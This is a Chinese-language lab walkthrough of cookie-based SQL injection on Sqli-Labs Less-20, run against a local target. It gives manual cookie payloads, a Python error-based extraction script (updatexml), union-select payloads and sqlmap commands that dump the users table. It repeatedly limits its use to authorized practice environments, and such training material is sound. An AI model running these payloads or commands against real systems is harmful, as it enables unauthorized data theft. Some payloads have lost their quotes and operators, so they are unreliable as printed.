
“sqli-labs-Less-20自动化注入”这句话很多刚接触SQL注入的同学看到之后第一反应是前面的Less-1到Less-19都玩明白了怎么到Less-20就突然卡住了其实Less-20并不是难度陡增而是它把注入点从URL参数、POST表单搬到了Cookie头里很多人习惯了看GET和POST参数一看到Cookie就不知道从哪下手。这篇文章我会从环境准备、手工探测到Python脚本自动化提取数据再到用sqlmap一把梭完整走一遍Less-20的Cookie注入流程。全程基于本地Sqli-Labs靶场请确保你是在自己的实验环境里操作不要对未授权的目标做任何测试。整个过程没有太多高深的理论更多是“你怎么做、为什么这么做、踩过什么坑”这些最实在的内容。1. 环境准备与Less-20的注入原理1.1 本地靶场与工具链怎么搭在开始之前先把环境弄明白。Sqli-Labs是一款经典的SQL注入练习靶场通常需要PHP和MySQL环境。如果你平时用的不是Linux直接在Windows上装一个集成环境就能跑比如常见的PHPStudy、XAMPP这类工具把Sqli-Labs下载后放到Web根目录修改一下数据库连接配置导入sqli-labs.sql就能在本地浏览器里访问。工具这边我建议准备三样东西浏览器加开发者工具或者Burp Suite用来抓包、改包、观察请求和响应。Python 3环境安装requests库用来写自动化注入脚本。sqlmap用来做“懒人模式”的自动化检测和提取。很多人在less-20上卡住其实不是技术问题而是没有理解靶场的请求流程。Less-20的整个交互是“登录 → 服务器下发Cookie → 后续请求带着Cookie → 后台读取Cookie拼SQL”。如果你只关注登录表单那肯定找不到注入点。所以我们在环境搭好之后先跑一遍正常登录把整个数据流看在眼里。1.2 为什么Cookie会成为注入点Less-20的代码逻辑大致是这样你提交用户名密码登录成功后服务器会在响应头里Set-Cookie比如unameadmin。之后你访问其他页面时浏览器会自动带上Cookie: unameadmin。后台在这时却犯了新手常犯的错误直接把$_COOKIE[uname]拼进了SQL查询语句连基本的过滤和转义都没做。用简化后的伪代码表示后台大概会执行这样一条SQLSELECT * FROM users WHERE username$uname LIMIT 1;这里的$uname直接取自Cookie中的uname值。如果我在Cookie里塞一个admin and 11-- -那么SQL就变成了SELECT * FROM users WHERE usernameadmin and 11-- - LIMIT 1;注意-- -后面的单引号和LIMIT全部被注释掉了整个查询变成SELECT * FROM users WHERE usernameadmin and 11条件恒真页面就会正常返回。这就是Less-20的核心它把用户输入藏在了Cookie里。相比GET和POST注入Cookie注入更隐蔽因为很多自动扫描器默认不测Cookie头开发者也会觉得Cookie是服务器下发的、不可篡改的从而放松警惕。Sqli-Labs把这关单独拎出来就是让你明白“任何客户端可控的数据都可能成为注入点”。2. 手工探测先确认Cookie注入的存在2.1 正常登录观察Cookie形态第一步很简单浏览器访问Less-20用靶场默认账号密码登录一般用户名和密码都是admin。登录成功后打开开发者工具的Network面板刷新页面随便点开一个请求在Request Headers里能看到Cookie: unameadmin。响应头里也会有一段Set-Cookie: unameadmin; path/。如果你用的是Burp Suite也可以直接在Proxy历史里看到这个请求。重点就是登录之后的每个请求Cookie里都有一个uname字段。这个字段的值就是我们在注入时要去控制的东西。在这个阶段我强烈建议你先用Burp的Repeater手动改一下Cookie观察页面反馈这样能更直观地理解注入判断逻辑。Repeater里保持GET请求不变把Cookie那行改成Cookie: unameadmin正常返回然后改成Cookie: unameadmin看看页面是不是报错或者变得异常。如果出现SQL语法错误提示说明单引号已经影响了SQL语句注入点基本坐实了。2.2 两个关键Payload验证注入用Burp手动测试时最经典的验证方式就是“真条件”和“假条件”对比。第一个Payload把Cookie值改成URL编码后的Cookie: unameadmin%27%20and%2011--%20-解码后是admin and 11-- -SQL变成WHERE usernameadmin and 11恒真页面应该正常显示用户信息跟没加东西时一样。第二个Payload把11换成12Cookie: unameadmin%27%20and%2012--%20-解码后是admin and 12-- -SQL变成WHERE usernameadmin and 12恒假查询结果为空页面就不会显示正常用户信息甚至直接提示用户名不存在。如果这两个Payload分别触发“页面正常”和“页面无数据/报错”那就可以100%确定Cookie里存在SQL注入。这里有个小细节为什么Cookie里的值要URL编码因为PHP在解析Cookie时会自动做一次URL解码你发过去%27它收到的就是。这样处理也避免了单引号、空格等特殊字符在HTTP头里被解析器干扰很多自动化脚本也是这么干的。3. Python脚本自动化注入从登录到拉取数据3.1 用requests维护会话并完成登录确认注入点之后手工一个个测太慢了我们来写Python脚本自动完成登录、构造Payload、发送请求、解析结果这一整套流程。这里用requests库。登录部分很简单模拟提交表单然后从响应里提取Cookieimport requests import re import urllib.parse base_url http://127.0.0.1/sqli-labs/Less-20/ login_url base_url login.php target_url base_url index.php login_data { login_user: admin, login_password: admin, submit: Login } session requests.Session() session.post(login_url, datalogin_data) # 登录成功后Session里已经带了uname这个Cookie cookie_value session.cookies.get(uname) print(当前Cookie uname , cookie_value)如果你的靶场登录地址不是login.php以你本地实际抓包看到的表单提交地址为准。Sqli-Labs各关卡的登录表单参数名大概率是login_user和login_password但不同版本可能有差异建议在登录时抓一下包确认。拿到Session之后我们后面每次请求都可以直接复用这个Session它会自动带上登录后下发的Cookie。不过当我们要注入时需要覆盖uname的值所以要在请求头里手动指定Cookie。3.2 报错注入实现自动化数据提取Less-20支持错误回显所以效率最高的做法是使用MySQL的updatexml函数触发报错从报错信息里把数据带出来。原理很简单updatexml(1, concat(0x7e, (子查询), 0x7e), 1)会报错并将子查询的结果拼接在错误信息里。0x7e是波浪号~用来标记起始位置。我们构造一个通用的注入函数def inject(sql): # 构造报错注入payload payload fadmin and updatexml(1,concat(0x7e,({sql}),0x7e),1)-- - encoded urllib.parse.quote(payload) # 覆盖Cookie中的uname字段 headers { Cookie: funame{encoded} } resp session.get(target_url, headersheaders) # 从响应中抓取XPATH syntax error里的数据 match re.search(rXPATH syntax error: ~([^~]*)~, resp.text, re.S) if match: return match.group(1) return None注意session.get的时候如果你还在headers里手动传Cookierequests可能不会自动把session里的cookie一起放进去但这里我们本身就是想覆盖所以没有问题。如果你担心冲突也可以直接用requests.get但建议保持同一个会话避免出现其他Cookie干扰。接下来我们就可以通过这个函数提取数据了。想要当前数据库名db_name inject(select database()) print(数据库名:, db_name)想要提取所有表名利用group_concat把多个表拼在一起一次拿完table_sql select group_concat(table_name) from information_schema.tables where table_schemadatabase() tables inject(table_sql) print(表名:, tables)想要提取某张表的字段名假设表名是userscolumn_sql select group_concat(column_name) from information_schema.columns where table_nameusers columns inject(column_sql) print(字段名:, columns)然后查询具体数据data_sql select group_concat(username,0x7e,password) from users data inject(data_sql) print(用户数据:, data)这里有一个很容易踩的坑如果子查询的结果里包含了波浪号~我们的正则可能截取不全。稳妥的做法是正则匹配([^]*)但那样会包含多余前缀。我在实际过程中更喜欢把分隔符换成0x7e然后拿~([^~]*)~因为绝大多数数据里不会包含波浪号。当然如果你提取的内容本身带有波浪号就换个分隔符比如0x23井号或0x24美元符。另外报错注入的数据长度有限制updatexml的报错输出最长大概32个字符group_concat如果结果太长会被截断。想拿完整内容就要用substr或mid函数分段提取配合limit或者循环。比如def inject_limit(sql, start, length): wrapped fselect mid(({sql}),{start},{length}) return inject(wrapped)这种分段方式在处理大量数据时非常实用。比如逐一提取每个表名可以用limit 0,1然后递增偏移量。3.3 联合查询注入的扩展思路报错注入虽好但Less-20其实也支持联合查询因为页面在登录成功后会把用户名显示在页面上。如果我们让原本的查询查不到数据再用union select把数据塞进去页面就会显示我们想要的内容。手工验证时的Payload是Cookie: unamexyz%27%20union%20select%201,2,3--%20-解码后是xyz union select 1,2,3-- -。原查询WHERE usernamexyz查不到任何记录union后面的select 1,2,3就成了结果集。页面如果显示2或3的数字说明回显位置在第二列或第三列。自动化情况下我们可以把前面的inject函数改成直接解析页面中显示的数据。假设页面里数据显示在某个特定标签中我们可以用正则或者BeautifulSoup去提取。不过相比报错注入联合查询对字段数、回显位置要求更多Less-20这种场景下我一般优先用报错注入省事。4. 用sqlmap一键完成Cookie注入4.1 sqlmap检测Cookie注入的必备参数手工加脚本玩明白了你会发现sqlmap在这种场景下简直是神器但前提是参数得用对。很多人用sqlmap跑Less-20跑不出来核心原因就是忘了开Cookie检测。sqlmap的默认level为1只测GET和POST参数不会测Cookie头。想让它检测Cookie里的uname至少要把level提升到2。我自己的习惯是直接--level3因为level越高测试的注入点和注入类型越全还能顺带测User-Agent、Referer这些头多花不了几秒覆盖更放心。命令很直接sqlmap -u http://127.0.0.1/sqli-labs/Less-20/index.php --cookieunameadmin --level3 --batch如果你希望使用真实登录后的Cookie可以先从浏览器开发者工具或者Burp里复制完整的Cookie字符串比如unameadmin; PHPSESSIDxxx然后替换进去。sqlmap会尝试对Cookie参数做注入测试找到漏洞后会在输出里明确提示类似“Cookie parameter uname is vulnerable”。4.2 数据提取实战与输出解读检测到注入后提取数据就是几条命令的事。先拿数据库列表sqlmap -u http://127.0.0.1/sqli-labs/Less-20/index.php --cookieunameadmin --level3 --batch --dbs然后针对某一个库比如靶场的默认库名拿表名sqlmap -u http://127.0.0.1/sqli-labs/Less-20/index.php --cookieunameadmin --level3 --batch -D security --tables接着拿字段、拿数据sqlmap -u http://127.0.0.1/sqli-labs/Less-20/index.php --cookieunameadmin --level3 --batch -D security -T users --columns sqlmap -u http://127.0.0.1/sqli-labs/Less-20/index.php --cookieunameadmin --level3 --batch -D security -T users --dump如果你的Cookie里带有多个字段一定保持完整否则服务器可能识别不了会话。sqlmap在跑数据时默认会做枚举如果数据量比较大建议加上--threads参数开多线程但注意sqlmap的线程不要开太高我自己一般设置--threads5太高容易导致漏报或误报。这里也要提醒一下sqlmap虽然方便但它会发送大量探测请求如果你是在本机靶场测试那没问题。如果是在别人没有授权的系统上跑这种流量本身就是非常明显的攻击信号而且行为可能越界。Sqli-Labs这类靶场存在的意义就是让你在合法环境里练手千万不要把这种自动化能力用在未经授权的系统上。5. 常见问题与实操避坑记录5.1 注入不生效的常见原因Less-20练手过程中我见过最多的几个问题第一个是Cookie里的Payload被分号截断。我的payload里如果带分号比如admin;-- -HTTP解析器会把分号当成Cookie字段的分隔符后面的内容全部丢失。所以要么避免分号要么把分号URL编码成%3B。PHP会自动urldecode所以这招好用。第二个是注释符没写对。MySQL的注释符有#和--两种但#在URL编码前容易被各种工具干扰--后面又必须至少跟一个空格或控制字符否则不生效。我建议统一用--%20-也就是-- -空格和后面的-一起既满足MySQL要求也不会被截断。第三个是没有保持会话。有些同学直接用requests.get不带Cookie或者手动复制了一个过期的Cookie导致后台认为你还没登录自然就不走查询逻辑。所以自动化脚本里先用Session登录拿Cookie再注入是最稳妥的。5.2 Cookie编码和注释符的坑很多人在用Python写自动化脚本时直接把裸的payload塞进Cookie值结果发现请求报400或者页面不按预期返回。原因就是Cookie值里有空格、引号等特殊字符HTTP对Cookie的语法是有约束的。规范里Cookie值不建议包含空格、双引号、分号、反斜杠等。解决方法就是URL编码。具体来说encoded_payload urllib.parse.quote(payload)这样空格变成%20单引号变成%27双引号变成%22。PHP在读取Cookie时会把%27解码为从而保证SQL语句能正确执行。我自己在写注入函数时已经把编码这一步写进去了这样调用起来才顺手。还有一个细节urllib.parse.quote默认不会编码/和~这个不影响注入。如果你担心某些版本会把#编码成%23反而更安全。但注意不要把整个headers值再编码一遍否则会双重编码。5.3 网络安全边界提醒虽然这篇文章讲的是SQL注入自动化是防守方必须掌握的知识但我还是要多说一句所有测试都要在授权范围内进行。Sqli-Labs这类靶场是专门用来练习的你把它跑在本地怎么折腾都行。如果你真的在工作或学习中遇到真实系统也一定要先获得书面授权否则任何自动化注入行为都可能违反法律法规。这篇文章里的所有代码和命令请只用在你的实验环境里。5.4 自动化脚本的一些优化建议最后分享几个我实际用下来觉得舒服的优化点。第一脚本里加入超时和重试机制。本地靶场还好如果网络有波动一个请求卡住整个脚本就停了。给requests.get加上timeout5配合循环重试能省很多麻烦。第二把提取数据的正则写宽松一点。不同版本的MySQL报错格式有细微差别有些返回XPATH syntax error: ~xxx~有些可能不带波浪号。我一般先打印一段响应文本确认格式后再写死正则这样最稳。第三如果要跑大量数据建议用单线程循环分段提取不要盲目开多线程。数据库查询是原子的多线程在这里只会增加响应解析的复杂度效率提升也不明显。分段提取配合time.sleep控制频率反而更可控。第四如果你想把脚本做得更通用可以做成参数化配置把URL、登录账号、Cookie名、注入函数这些都放到配置文件里。这样以后遇到类似Cookie注入靶场改一下配置就能复用不用从零开始。Less-20这个关卡真正的价值不在于“多难”而在于它提醒我们凡是客户端可控的数据都可能是攻击面。Cookie、User-Agent、Referer这些平时容易被忽略的头一旦被后端直接拼进SQL威力一点不比GET参数小。理解了这一点再去看自动化注入不管是脚本还是sqlmap都只是手段而已。我个人的经验是先把手工流程走通再交给脚本最后再用sqlmap验证结果这样你对每一步在干什么都心里有数排查问题也不会一头雾水。